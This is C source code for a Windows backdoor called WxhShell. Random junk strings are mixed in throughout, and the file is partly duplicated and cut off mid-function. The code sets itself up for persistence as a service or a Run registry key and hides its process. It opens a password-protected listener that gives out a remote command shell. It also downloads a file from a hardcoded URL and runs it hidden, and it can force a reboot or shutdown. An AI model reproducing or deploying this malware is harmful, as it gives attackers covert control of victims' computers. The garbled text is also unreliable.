4Tm ULONG InheritedFromUniqueProcessId; S[vRw]* } PROCESS_BASIC_INFORMATION; JW=uK$s O Yt -W1vl PROCNTQSIP NtQueryInformationProcess; UM<@t%|> m7JPH7P@BM static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4[`[mE18. static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Vl<`|C> )AOPiC$jL HANDLE hProcess; [M4xZHd#o PROCESS_BASIC_INFORMATION pbi; sF y]+DB =(%*LY!Xc HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D/Rv&>Jh if(NULL == hInst ) return 0; &GuF\wJ{7 P*0f~eu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !~WZ_z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B$ui:R/ t NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 29%=: *R$ g^jJ8k,7( if (!NtQueryInformationProcess) return 0; h0|[etaf 'GkvUrD9D$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [eyb7\#
if(!hProcess) return 0; >)LAjwhBp 6z Ay)~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GWgd8x*V
=^Th[B CloseHandle(hProcess); ZW>o5x__b Twx{' S hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @l{I[pp if(hProcess==NULL) return 0; G;NB\3~X p'}lN|"{O HMODULE hMod; Tv\HAK<N char procName[255]; k d+l k: unsigned long cbNeeded; IP04l;p/
//<:k8 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `y2ljIWJ 3w6&&R9 CloseHandle(hProcess); ailG./I+ =5ug\S if(strstr(procName,"services")) return 1; // 以服务启动 [t{](- x6ahZ return 0; // 注册表启动 !R74J=#( } @bT3'K-4 \-OC|\{32 // 主模块 MKC$;>i int StartWxhshell(LPSTR lpCmdLine) q!&B6] { b/nOdFO@ SOCKET wsl; '00J~j~ BOOL val=TRUE; yp p 4L|R int port=0; ra:GzkIw struct sockaddr_in door; xl8#=qmCD ~M*gsW$ if(wscfg.ws_autoins) Install(); x%6hM|U = /Wu'gG) port=atoi(lpCmdLine); <Y>3 GJ `UO if(port<=0) port=wscfg.ws_port; 59i] SKR;wu WSADATA data; bnr|Y!T}Bi if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 43L|QFo r?^"65= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <HF-2?` setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [))JX"a door.sin_family = AF_INET; .S!-e$EJ door.sin_addr.s_addr = inet_addr("127.0.0.1"); EwQae(PpA door.sin_port = htons(port); :B.G)M\ fhRjYYGI if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F\LsI;G closesocket(wsl); TatMf;?h& return 1; .S_QQM}Q } -~O/NX V#J"c8n if(listen(wsl,2) == INVALID_SOCKET) { J`<f closesocket(wsl); +"uwV1)b" return 1; <d"Gg/@a } XG&K32_fs Wxhshell(wsl); X NE+(Bt WSACleanup(); }0;Sk(B> C[8Kl D return 0; \Y e%o}.{ iBoEZEHjw } <hv7s,i lFfXWNb // 以NT服务方式启动 .C= I^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e$|VG*
d { o&$hYy"<.L DWORD status = 0; fHfY}BQS DWORD specificError = 0xfffffff; y5u\j{?Te )gXTRkmw serviceStatus.dwServiceType = SERVICE_WIN32; _~A~+S} serviceStatus.dwCurrentState = SERVICE_START_PENDING; DYRE1! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hk u=pr3Gn serviceStatus.dwWin32ExitCode = 0; 4RQ5(YTTuR serviceStatus.dwServiceSpecificExitCode = 0; Y<Q\d[3^F serviceStatus.dwCheckPoint = 0; qq;b~ 3kW serviceStatus.dwWaitHint = 0; zvr\36 yX!#a>d"H hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Es{l a G if (hServiceStatusHandle==0) return; Rla4L`X; kcS6 _l status = GetLastError(); 3LW[H+k if (status!=NO_ERROR) >a=d; { >^3zU serviceStatus.dwCurrentState = SERVICE_STOPPED; >nry0 ;z0, serviceStatus.dwCheckPoint = 0; "EH,J serviceStatus.dwWaitHint = 0; FkB{ SCJ serviceStatus.dwWin32ExitCode = status; LgHJo-+> serviceStatus.dwServiceSpecificExitCode = specificError; d(S}NH SetServiceStatus(hServiceStatusHandle, &serviceStatus); 10MU-h.) return; :woa&(wN;1 } 4#:\?HAu! qks|d_ serviceStatus.dwCurrentState = SERVICE_RUNNING; =M<z8R serviceStatus.dwCheckPoint = 0; Of`c`-<j serviceStatus.dwWaitHint = 0; C3S`}o. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $bGD%9
z } *48IF33&s xR908+>5 // 处理NT服务事件,比如:启动、停止 ~ E *d G VOID WINAPI NTServiceHandler(DWORD fdwControl) ;&,.TC?l { IKcKRw/O$ switch(fdwControl) L'9N9CR{i { XP;x@I#l case SERVICE_CONTROL_STOP: Zq*eX\#C serviceStatus.dwWin32ExitCode = 0; de YyaV serviceStatus.dwCurrentState = SERVICE_STOPPED; p4>,Fwy2 serviceStatus.dwCheckPoint = 0; 3ATjsOL serviceStatus.dwWaitHint = 0; >&Fa(o;* { SLoo:) SetServiceStatus(hServiceStatusHandle, &serviceStatus); #D)x}#V\ } iV
hJH4 return; o6|-=FcvC case SERVICE_CONTROL_PAUSE: %EI<@Ps8c serviceStatus.dwCurrentState = SERVICE_PAUSED; &1Fply7(Ay break; ;[6&0!N\ case SERVICE_CONTROL_CONTINUE: @E_zR serviceStatus.dwCurrentState = SERVICE_RUNNING; !k<:k
"7 break; F~_;o+e;X case SERVICE_CONTROL_INTERROGATE: zk=\lp2 break; _P5P(^/ }; LfX0Z=< SetServiceStatus(hServiceStatusHandle, &serviceStatus); '6zd;l9Z } @]'SeiNp +?d} 7zh // 标准应用程序主函数 97!5Q~I int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) km\%BD~ { nNn56&N] fk3kbdI // 获取操作系统版本 8/Rm!.8+~ OsIsNt=GetOsVer(); c8DZJSO GetModuleFileName(NULL,ExeFile,MAX_PATH); T;?+kC3 K.DXJ UR // 从命令行安装 WC-_+9)2& if(strpbrk(lpCmdLine,"iI")) Install(); n33kb/q* U9ZbVjqv@ // 下载执行文件 H_B~P%E@] if(wscfg.ws_downexe) { =!<G!^ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mG(N:n%*K WinExec(wscfg.ws_filenam,SW_HIDE); nGa1a } T1NH eH> E
$6ejGw- if(!OsIsNt) { 1d v=xe. // 如果时win9x,隐藏进程并且设置为注册表启动 ')o0O9/; HideProc(); xP@/9SM StartWxhshell(lpCmdLine); r
nBOj#N } >XE`h9 else ,w`~K:b. if(StartFromService()) lrys3 // 以服务方式启动 :ba/W&-d StartServiceCtrlDispatcher(DispatchTable); W_<4WG else 8(A{;9^g // 普通方式启动 gdi`x|0 StartWxhshell(lpCmdLine); A1_ J sS +qkMQETV6 return 0; nem@sB;v# } t[2i$%NVM %f!iHo+Z qrDcL>Hrn h4 vm{ho =========================================== A3s57.Z]| ~@fR[sg< J}@GKNm _T]>/}}p aZgNPw zilaP)5x6 " t)I0lnbs `P.CNYR<J #include <stdio.h> `C'}e #include <string.h> z5EVG #include <windows.h> SDc"
4g` #include <winsock2.h> #:{6b*} #include <winsvc.h> NG9vml #include <urlmon.h> q^Inb)FeN .B$h2#i1 #pragma comment (lib, "Ws2_32.lib") btQet. #pragma comment (lib, "urlmon.lib") hTTfJDF RgGA$HN/ #define MAX_USER 100 // 最大客户端连接数 8]C1K
Zs #define BUF_SOCK 200 // sock buffer D5`(} #define KEY_BUFF 255 // 输入 buffer Wk[)+\WQ? B01^oYM} #define REBOOT 0 // 重启 H[BYE
#define SHUTDOWN 1 // 关机 evOb 7@P656{ #define DEF_PORT 5000 // 监听端口 RpN <= Qa?aL #define REG_LEN 16 // 注册表键长度 /f&By
p #define SVC_LEN 80 // NT服务名长度 b *9-}g: `a'`$'j // 从dll定义API a#QByP typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }+DDJ6Jzs typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C1 {ZW~"YI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xid:" y=_& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); IJIQ"
s S'@=3) // wxhshell配置信息 ND*]gM struct WSCFG { BD'NuI int ws_port; // 监听端口 hbnS~sva char ws_passstr[REG_LEN]; // 口令 >zR14VO`_| int ws_autoins; // 安装标记, 1=yes 0=no i4VK{G~g" char ws_regname[REG_LEN]; // 注册表键名 V}:'Xgp*N char ws_svcname[REG_LEN]; // 服务名 [;@):28" char ws_svcdisp[SVC_LEN]; // 服务显示名 (}0S1)7t char ws_svcdesc[SVC_LEN]; // 服务描述信息 OPiaG!3< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ff)@L-Y\K int ws_downexe; // 下载执行标记, 1=yes 0=no 8[HZ@@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _BwKY#09Zp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4W-"|Z_x raHVkE{< }; Y^3)!> m&cvU>lC // default Wxhshell configuration ~me\ struct WSCFG wscfg={DEF_PORT, nNs .,J) "xuhuanlingzhe", hr1$1&p 1, Nm"<!a<F "Wxhshell", tQ[]Rc "Wxhshell", [Q:f-<nH "WxhShell Service", hiIyaWU "Wrsky Windows CmdShell Service", 9'X@@6b*' "Please Input Your Password: ", )-#i8?y3C 1, b-uZ"Kf^ "http://www.wrsky.com/wxhshell.exe", ~4+8p9f "Wxhshell.exe" -xTKdm
D }; m:"+J |Q6h/"2 // 消息定义模块 8? F
2jv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2_.CX(kI char *msg_ws_prompt="\n\r? for help\n\r#>"; S[sr'ZW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \H[Yyp4 char *msg_ws_ext="\n\rExit."; qzHU)Ns(_ char *msg_ws_end="\n\rQuit."; *F..ZS'$[ char *msg_ws_boot="\n\rReboot..."; UI_v3c3b char *msg_ws_poff="\n\rShutdown..."; yeNvQG char *msg_ws_down="\n\rSave to "; aC}p^Nkr"k =tHD 4I char *msg_ws_err="\n\rErr!"; yH+c#w char *msg_ws_ok="\n\rOK!"; }EP|Mb I<KCt2:X char ExeFile[MAX_PATH]; Cg7)S[zl int nUser = 0; c~37+^B: HANDLE handles[MAX_USER]; B/rzh? b int OsIsNt; N:7.:Yw [lZ=s[n. SERVICE_STATUS serviceStatus; S,VyUe4P4 SERVICE_STATUS_HANDLE hServiceStatusHandle; YLE/w @* Zg2]GJP // 函数声明 +dJ&tuL:S int Install(void); E;$$+rA int Uninstall(void); ]y}Zi/zh int DownloadFile(char *sURL, SOCKET wsh); :k\}Ik int Boot(int flag); <oQ6 Z X void HideProc(void); !x6IV25 int GetOsVer(void); Wy!uRzbBv int Wxhshell(SOCKET wsl); #'wL\3 void TalkWithClient(void *cs); @H6%G>K, int CmdShell(SOCKET sock); m$)YYpX int StartFromService(void); vv!Bo~L1, int StartWxhshell(LPSTR lpCmdLine); 8ZFH}v@V1' shD+eHo$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PH[4y:^DN VOID WINAPI NTServiceHandler( DWORD fdwControl ); i:{:xKiC a IE|,~M2 // 数据结构和表定义 fmBkB8 SERVICE_TABLE_ENTRY DispatchTable[] = >r~|1kQ. { y=wdR|b {wscfg.ws_svcname, NTServiceMain}, ^SgN(-QH {NULL, NULL} |Cu1uwy }; !*9FKDB{ yZ ?$8r // 自我安装 y]w )`}Ax int Install(void) r<v_CFJ { o;E(Kj char svExeFile[MAX_PATH]; =m7C Jc HKEY key; uRFNfX(* strcpy(svExeFile,ExeFile); k~& o *XHj)DC; // 如果是win9x系统,修改注册表设为自启动 PMQb\%iE" if(!OsIsNt) { y _6r/z^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BL7>dZOa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'r6 cVBb} RegCloseKey(key); s* @QT8% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?,!uA)({n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4_WH
6Z RegCloseKey(key); v [dAywW return 0; _@7(g(pY 3 } { qjUI } >=bt } X,&`WPA:S else { 0,bt^a V, E9Uds // 如果是NT以上系统,安装为系统服务 *Gf&q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =Z^un&' if (schSCManager!=0) )eVzS j>MT { zI(xSX@ SC_HANDLE schService = CreateService 5[1@`6j ( ixg\[5.Q+ schSCManager, n<=y"* wscfg.ws_svcname, *13g<#$ wscfg.ws_svcdisp, u4@, *tT SERVICE_ALL_ACCESS, PKl]GegP SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6^WiZ^~ SERVICE_AUTO_START, iOKr9%9?Z SERVICE_ERROR_NORMAL, y/z9Ce*> svExeFile, ux%&lff NULL, bOi};/f NULL, | h NULL, }5QZ6i# NULL, BDWim`DK" NULL pHigxeV2 ); u<$S> if (schService!=0) /5&3WG&<u { 9zmD6G!}t CloseServiceHandle(schService); =`r ppO CloseServiceHandle(schSCManager); F@B strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Kxe ymwr2 strcat(svExeFile,wscfg.ws_svcname); 6\%r6_.d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B >ms`|q=l RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xV"6d{+ RegCloseKey(key); ?f(pQy@V return 0; ~JIywzcf8 } bX a %EMF } =PI^X\if88 CloseServiceHandle(schSCManager); >hHJ:5y } t`N
">c" } >fW+AEt\JB ^qE<yn return 1; '#;,oX~5 } [Od>NO,n+] vx({N? // 自我卸载 4x=V|" int Uninstall(void) Pn~pej5'K { 8XLxT(YFIs HKEY key; Y:DNu9 Ry3+/] if(!OsIsNt) { ORUWslMt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F<6KaZ| RegDeleteValue(key,wscfg.ws_regname); #|)JD@;Q RegCloseKey(key); t-3v1cv" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3?a0
+] RegDeleteValue(key,wscfg.ws_regname); @m*&c* r RegCloseKey(key); 0sq=5 BnO return 0; )pkhir06t } rD:gN%B= } Km|9Too } Zm"!E6`69 else { h;cB_6vt G1`mn$`kq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w`H.ey if (schSCManager!=0) Y&ct+w]% { ujI 3tsl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u5[1Z|O if (schService!=0) ?^+#pcX]t| { /\IAr,w[ if(DeleteService(schService)!=0) { x!Z:K5%O CloseServiceHandle(schService); F{a0X0ru~ CloseServiceHandle(schSCManager); S!`4Bl return 0; U89]?^|bb } :F!dTD$ CloseServiceHandle(schService); EM>c%BH<N } eONeWY9 CloseServiceHandle(schSCManager); BN<#x@m$] } V0SW 5
m } =)"NE> |TQedC return 1; 8GF[)z&|P: } -s?dzX >/*?4 // 从指定url下载文件 CSd9\V int DownloadFile(char *sURL, SOCKET wsh) pq/FLYiv { Thht_3_C,f HRESULT hr; v*C+U$_3\1 char seps[]= "/"; lx A<iQia char *token; S0Rf>Eo4 char *file; 7?n*t char myURL[MAX_PATH]; }J'5EAp char myFILE[MAX_PATH]; >#"jfjDuR #cSw"A strcpy(myURL,sURL); r{Qs9 token=strtok(myURL,seps); Mipm&5R while(token!=NULL) U5@TaGbx { S*2L4Uj`| file=token; $ ufSNx(F token=strtok(NULL,seps); 9H
!B) } dw{#|| SoXX}<~E4 GetCurrentDirectory(MAX_PATH,myFILE); ~P"!DaAf strcat(myFILE, "\\"); xVh\GU855 strcat(myFILE, file); q N[\J7Pz9 send(wsh,myFILE,strlen(myFILE),0); qH{8n` send(wsh,"...",3,0); -Y
6.?z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8JjU 9# if(hr==S_OK) ^t/'dfF return 0; `a/PIc" else 1drqWI~ return 1; web8QzLLB 1 o } MQbNWUi ..Uw8u/ // 系统电源模块 2]_4&mU int Boot(int flag) pjmGzK { }LHT#{+x HANDLE hToken; @gu77^=' TOKEN_PRIVILEGES tkp; }jyS\drJ xsY>{/C if(OsIsNt) { dEAAm=K,< OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =Nv=Q mO LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +,{Wcb tkp.PrivilegeCount = 1; <g/(wSl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H8o%H=I% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8 /RfNGY if(flag==REBOOT) { E
|GK3 / if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QBPvGnb return 0; ^ T:qT*v } %x'bo>h@ else { ;I`,ZKY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r:8]\RU return 0; ]\os`At } :>er^\ } -UD~>s else { NZ%~n:/V# if(flag==REBOOT) { ?V\9,BTb) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KHc/x8^9 return 0; "[".3V } Cr
V2 V)|G else { ~\@<8@N2a6 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :}3qZX return 0; iuU3*yyn } wE8a4. } /F8\%l+ xJF6l!` return 1; W:+2We @ } 0imqj7L _'v }=:X // win9x进程隐藏模块 u=v%7c2Mx} void HideProc(void)
Ae{4AZ { "6*Kgf2G qqom$H< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "ZJ1`R=Mj if ( hKernel != NULL ) beHCEwh { G(|(y=ck pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EkB6- nz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `S/1U87 FreeLibrary(hKernel); eM1;Nl } OL
]T+6X )zL"r8si return; XB!`*vZ/< } }r<@o3t \Q?|gfJH // 获取操作系统版本 {GH`V}Ob int GetOsVer(void) 7L~ zI>2 { h7W%}6Cqkw OSVERSIONINFO winfo; i37a}.; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]stLC; nI GetVersionEx(&winfo); g`5`KU| if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A*26' return 1; +VpE-X=T else @IyH(J],h return 0; }^Ua } <{z3p:\ Lugk`NUvF // 客户端句柄模块 CXP $bt} int Wxhshell(SOCKET wsl) Q3'B$,3O^ { M;TfD SOCKET wsh; "JUQ)> !? struct sockaddr_in client; tm36Lw DWORD myID;
!K^Z5A_; s*~jvL while(nUser<MAX_USER) w<F;&';@h { )zLS,/pk^ int nSize=sizeof(client); f w>Gx9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); + x;ML if(wsh==INVALID_SOCKET) return 1; 5N3!!FFE HfeflGme* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]R0A{+]n if(handles[nUser]==0) t ]I(98pY closesocket(wsh); )Fr;'JYC1S else []N$;~R7 nUser++; /HJ(Wt
q } RnBmy^l" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sp$x%p0 :_YG/0%I return 0; a$ ! {Tob2 } % x*Ec[l
3ws(uF9$ // 关闭 socket Iv|WeSL. void CloseIt(SOCKET wsh) "KI,3g _V { 53+rpU_ closesocket(wsh); 0)Um W{ nUser--; VU0tyj$ ExitThread(0); .]ZuG
} acju!,G =UKR<@QrK // 客户端请求句柄 .gkPG'm[ void TalkWithClient(void *cs) AoOG[to7 { SnF[mN' dV=5_wXZ$ SOCKET wsh=(SOCKET)cs; 6 r-n6#= char pwd[SVC_LEN]; 3w:Z4]J char cmd[KEY_BUFF]; jUR# char chr[1]; Z2j*%/ int i,j; xjbyI_D llG#nDe while (nUser < MAX_USER) { gWv+i/, >=W#z if(wscfg.ws_passstr) { JO^
[@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^Er`{|o6u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oY6|h3T=Q$ //ZeroMemory(pwd,KEY_BUFF); >dm._*M i=0; '%RK KA while(i<SVC_LEN) { <VxpMF MJ/%$ // 设置超时 _NqT8C4C fd_set FdRead; AW;)_|xM struct timeval TimeOut; F#bo4'&>@ FD_ZERO(&FdRead); 68GGS`& FD_SET(wsh,&FdRead); ;pyJ O_R[ TimeOut.tv_sec=8; "oXAIfU#T TimeOut.tv_usec=0; XQY&4tK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `"b7y(M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]j$p _s> "PScM9) \ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F*]. pwd=chr[0]; jhbH6=f4]^ if(chr[0]==0xd || chr[0]==0xa) { {2clOUi pwd=0; _,0!ZP- break; =
hX-jP } od's1'cR i++; x)wt.T?eL } ~)8i5p;P/k 2hC$"Dfp // 如果是非法用户,关闭 socket ,p`bWm if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R}6la.mQ } v4##(~Tu n_&)VF#n( send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %s : send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H_=[~mJ NEou2y+} while(1) { qVe6RpS vMdhNOU ZeroMemory(cmd,KEY_BUFF); Lz{T8yvZ 2&K|~~ // 自动支持客户端 telnet标准 P:-/3 j=0; 7Z~szD while(j<KEY_BUFF) { lnSE+YJ> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '*;eFnmvs: cmd[j]=chr[0]; |{IU<o
x if(chr[0]==0xa || chr[0]==0xd) { u2O^3rG- cmd[j]=0; AG\852`1m break; }ZVv } C^=gZ
6m j++; si.a]k/f } ~(L +4] [K@!JY // 下载文件 m:Cx~ if(strstr(cmd,"http://")) {
'L59\y8H send(wsh,msg_ws_down,strlen(msg_ws_down),0); "v(]"L if(DownloadFile(cmd,wsh)) `/ReJj&~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); uWtS83i else )[X!/KR90 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !,!tNs1 K } E^W*'D else { "57G@NC{n Xt*%"7yTp switch(cmd[0]) { f /i,Zw +9rbQ?' // 帮助 6U9Fa=%>} case '?': { ayz1i:Q| send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |/\1nWD break; f_2^PF>? } 5nqdY* // 安装 PlRs-% d case 'i': { Sz@?%PnU| if(Install()) j=% -b] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Il/3\ else afq
+;Sh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n(Op< break; QjN3j*@ } g@f/OsR76 // 卸载 N%E2BJ? case 'r': { G*p.JsZP if(Uninstall()) }(}vlL send(wsh,msg_ws_err,strlen(msg_ws_err),0); s\FNKWQ else A?KKZ{Pl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k' 6<Hw break; i1@g Hk } ibUPd."W // 显示 wxhshell 所在路径 ?Cfp=85ea! case 'p': { UzHhU*nW char svExeFile[MAX_PATH]; Pm;*Jv% strcpy(svExeFile,"\n\r"); p: strcat(svExeFile,ExeFile); qA/3uA!z send(wsh,svExeFile,strlen(svExeFile),0); b+apN ph break; `^k<.O } MtTHKp // 重启 7gmMqz"z(> case 'b': { *`'%tp"'+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,8?*U]} if(Boot(REBOOT)) IVODR send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cs=i9.-A else { =C1Qo#QQ% closesocket(wsh); ([o:_5/8I ExitThread(0); ]=<@G.[= } J
uKaRR~ break; ,?~,"IQyi[ } pR>QIZq<gT // 关机 %~XJwy- case 'd': { z4:09!o_ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,
)3+hnFY if(Boot(SHUTDOWN)) 2dW-WHaM send(wsh,msg_ws_err,strlen(msg_ws_err),0); g c=|<( else { -3U}
(cZ* closesocket(wsh); 7B"aFnK;[J ExitThread(0); |noTIAI } $:Zxb break; lfd{O7 L0b } Ap18qp // 获取shell 3PeJPw case 's': { |]b/5s;> CmdShell(wsh); 8so}^2hTlT closesocket(wsh); _Fy:3,( ExitThread(0); wb"t:(>& break; {z
~
' } Gfch|Q^INy // 退出 uoc-qmm case 'x': { e}w!] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fltcdA CloseIt(wsh); u)>*U'bM break; I@v.Hqg+7 } IWnW(>V // 离开 D"5~-9< case 'q': { MRu+:Y=K send(wsh,msg_ws_end,strlen(msg_ws_end),0); S@-X?Lu closesocket(wsh); rVmO/Y#Hx$ WSACleanup(); s7LX exit(1); Q-CVq_\3I break; 7@]hu^)rry } 2mG?ve%m) } #2,L)E\G8e } ;yrcH+I$_ ]^%3Y // 提示信息 h8;"B if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 36UWoo } Yb/^Qk59 } ^>uGbhBp ^T>.04";x return; g;@PEZk1 } 3qZ{yr2N[ >.>5% // shell模块句柄 k Er7,c int CmdShell(SOCKET sock) :D-vE7 { u?/]"4 STARTUPINFO si; %&GQ]pmcY ZeroMemory(&si,sizeof(si)); {.W%m si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N?:S?p9R@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $%t PROCESS_INFORMATION ProcessInfo; Id1[}B-T
char cmdline[]="cmd"; -2?fg CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <{j9|mt return 0; L1K_|X } > xw+2< vi|ASA{V // 自身启动模式 U {v_0\ES int StartFromService(void) Gu=bPQOj { {'[1I_3 typedef struct S_=u v)%a { 9rz "@LM DWORD ExitStatus; w"J(sVy4 DWORD PebBaseAddress; \02e
zG DWORD AffinityMask; euK!JZ DWORD BasePriority; p%'((!a2 ULONG UniqueProcessId; #kEdf0 ULONG InheritedFromUniqueProcessId; PX'%)5:q;i } PROCESS_BASIC_INFORMATION; #UIg<: HN%ZN} PROCNTQSIP NtQueryInformationProcess; k5M(Ve "m5ZZG#R` static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v-qS 'N4 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dRmTE yKJp37R HANDLE hProcess; _>l,%n PROCESS_BASIC_INFORMATION pbi; A 78{b^0* zvWQ&?&o2 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 38^_(N if(NULL == hInst ) return 0; SQK6BEjE8 llJ)u!=5 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0Jrk(k! g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hz|$3*q NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uOx$@1v, ^,gKA\Wli if (!NtQueryInformationProcess) return 0; 5+J/Qm8{bb A`Nb"N$H13 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4g9VE;Gd if(!hProcess) return 0; 6(=:j"w0 usip>y if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ws(>}
